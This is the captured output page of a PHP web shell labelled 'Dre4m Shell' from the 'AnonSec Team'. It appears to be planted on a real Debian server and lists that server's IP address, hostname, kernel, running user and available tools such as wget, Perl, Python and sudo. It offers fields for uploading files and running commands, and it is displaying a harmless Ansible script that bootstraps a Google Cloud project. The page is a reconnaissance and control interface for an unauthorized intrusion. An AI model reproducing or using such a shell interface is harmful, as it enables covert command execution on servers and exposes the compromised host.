Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 52.15.70.0
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/google/cloud/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/google/cloud/scripts/bootstrap-project.sh
#!/usr/bin/env bash
# Bootstrap-project sets a project up so that ansible-test integration
# can be run.
#
# dependencies:
#  - google-cloud-sdk (gcloud)
#
#
PROJECT_ID="${1}"
SERVICE_ACCOUNT_NAME="${2}"
SERVICE_LIST=(
    "appengine"
    "bigtableadmin.googleapis.com"
    "cloudbuild.googleapis.com"
    "cloudfunctions"
    "cloudkms.googleapis.com"
    "cloudresourcemanager.googleapis.com"
    "cloudscheduler.googleapis.com"
    "cloudtasks.googleapis.com"
    "container"
    "dns"
    "file.googleapis.com"
    "ml.googleapis.com"
    "redis.googleapis.com"
    "runtimeconfig.googleapis.com"
    "sourcerepo.googleapis.com"
    "spanner.googleapis.com"
    "sqladmin.googleapis.com"
    "storage.googleapis.com"
    "tpu.googleapis.com"
)

REQUIRED_ROLE_LIST=(
    "roles/storage.objectAdmin"
    "roles/source.admin"
)

for SERVICE in "${SERVICE_LIST[@]}"; do
    echo "enabling service $SERVICE..."
    gcloud services enable "$SERVICE" --project="$PROJECT_ID"
done

for ROLE in "${REQUIRED_ROLE_LIST[@]}"; do
    echo "enabling role $ROLE..."
    gcloud projects add-iam-policy-binding "$PROJECT_ID" \
        --member="serviceAccount:$SERVICE_ACCOUNT_NAME" \
        --role="$ROLE"
done

if ! gcloud app describe --project="$PROJECT_ID" > /dev/null; then
    echo "creating appengine project..."
    gcloud app create --project="$PROJECT_ID" --region=us-central
fi

# create and upload cloud function for testing

BUCKET_NAME="gs://${PROJECT_ID}-ansible-testing"

if ! gcloud storage buckets describe "${BUCKET_NAME}" > /dev/null; then
    gcloud storage buckets create "${BUCKET_NAME}" --project="${PROJECT_ID}"
fi

gsutil cp ./test-fixtures/cloud-function.zip "${BUCKET_NAME}"


# The following is hard to automate, so echo
echo "Done! It may take up to 10 minutes for some of the changes to fully propagate."

Anon7 - 2022
AnonSec Team